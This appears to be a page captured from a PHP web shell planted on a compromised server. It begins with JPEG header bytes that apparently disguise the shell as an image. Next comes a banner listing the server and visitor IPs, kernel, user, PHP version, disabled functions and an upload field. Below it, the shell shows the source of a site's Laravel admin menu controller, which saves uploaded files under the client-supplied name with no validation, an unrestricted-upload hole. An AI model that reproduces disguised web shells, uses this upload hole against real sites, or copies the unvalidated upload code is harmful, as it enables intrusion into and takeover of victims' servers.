ÿØÿà JFIF H H ÿÛ C ÿÛ Cÿ " ÿÄ ÿÄ ÿÚ ±5¬€ ÿÄ àÿÚ ÿÄ ÀÿÚ ? ÿÄ ÀÿÚ ? ÿÄ àÿÚ ? ÿÄ àÿÚ ?! ÿÚ ÿÄ ÀÿÚ ? ÿÄ ÀÿÚ ? ÿÄ àÿÚ ? ÿÙ
| Server IP : 160.25.81.117 / Your IP : 216.73.216.137 Web Server : Apache/2 System : Linux sv05.hilab.cloud 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : bellizen ( 1045) PHP Version : 7.2.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/bellizen/public_html/app/Http/Controllers/Admin/ |
Upload File : |
<?php
namespace App\Http\Controllers\Admin;
use App\Http\Requests;
use App\Http\Controllers\Controller;
use App\Http\Requests\MenuRequest;
use Illuminate\Http\Request;
use App\Menu;
use Input, File;
use Validator;
use App\Menu_fix;
use App\ProductCate;
class MenuController extends Controller {
public function getDanhSach()
{
$cat = ProductCate::all();
$menu = Menu_fix::all();
$menuParent = Menu_fix::where('parent_id', null)->orderBy('position')->get();
return view('admin.menu_fix.list', compact('menu', 'menuParent', 'cat'));
}
public function postDanhSach(Request $request)
{
$path = 'upload/menu';
$menu = new Menu_fix;
$menu->parent_id = null;
$menu->title = $request->txtName;
$menu->tileeg = $request->txtNameeg;
$menu->url = $request->txtLink;
$menu->mota = $request->txtDesc;
$menu->motaeg = $request->txtDesceg;
$image = $request->file('image');
if(!empty($image)){
$file_name = time() . '_' . $image->getClientOriginalName();
$image->move($path, $file_name);
$menu->image = $file_name;
}
$imageeg = $request->file('imageeg');
if(!empty($imageeg)){
$file_name = time() . '_' . $imageeg->getClientOriginalName();
$imageeg->move($path, $file_name);
$menu->imageeg = $file_name;
}
if($request->class == 1){
$menu->class= 'vk-list__item top-nav-shop top-nav-has-sub-nav';
}
$menu->save();
return back();
}
public function postAdd(NewsCateRequest $request)
{
}
public function postSaveMenu(Request $request)
{
$jsonMenu = json_decode($request->jsonMenu);
$this->saveMenu($jsonMenu);
return back();
}
public function saveMenu($jsonMenu, $parent_id = null) {
$dem = 0;
foreach ($jsonMenu as $item) {
$menu = Menu_fix::find($item->id);
if( $menu ){
$menu->position = $dem;
$menu->parent_id = $parent_id;
$menu->save();
if(!empty($item->children)) {
$this->saveMenu($item->children, $menu->id);
}
}
$dem++;
}
}
public function getEdit($id)
{
$cat = ProductCate::all();
$menu = Menu_fix::find($id);
return view('admin.menu_fix.edit', compact('menu', 'cat'));
}
public function postEdit(Request $request , $id)
{
$path = 'upload/menu';
$menu = Menu_fix::find($id);
$menu->title = $request->txtName;
$menu->tileeg = $request->txtNameeg;
$menu->url = $request->txtLink;
$menu->urleg = $request->txtLinkeg;
$menu->mota = $request->txtDesc;
$menu->motaeg = $request->txtDesceg;
$image = $request->file('image');
if(!empty($image)){
$file_name = time() . '_' . $image->getClientOriginalName();
$image->move($path, $file_name);
$menu->image = $file_name;
}
$imageeg = $request->file('imageeg');
if(!empty($imageeg)){
$file_name = time() . '_' . $imageeg->getClientOriginalName();
$imageeg->move($path, $file_name);
$menu->imageeg = $file_name;
}
$menu->save();
return back();
}
public function getDelete($id)
{
$parent = Menu_fix::where('parent_id', $id)->count();
if($parent == 0 ){
Menu_fix::destroy($id);
return back()->with([
'flash_level' => 'success',
'flash_message' => 'Xóa thà nh công !'
]);
}else {
return back()->with([
'flash_level' => 'danger',
'flash_message' => 'Menu có menu con không thể xóa !'
]);
}
}
public function getDeleteImage($id)
{
$menu = Menu_fix::find($id);
$menu->image = null;
$menu->imageeg = null;
$menu->save();
return back();
}
public function getAjax(Request $request)
{
if(!empty($request->id)){
$cat = ProductCate::find($request->id);
return response()->json($cat);
}else {
return false;
}
}
}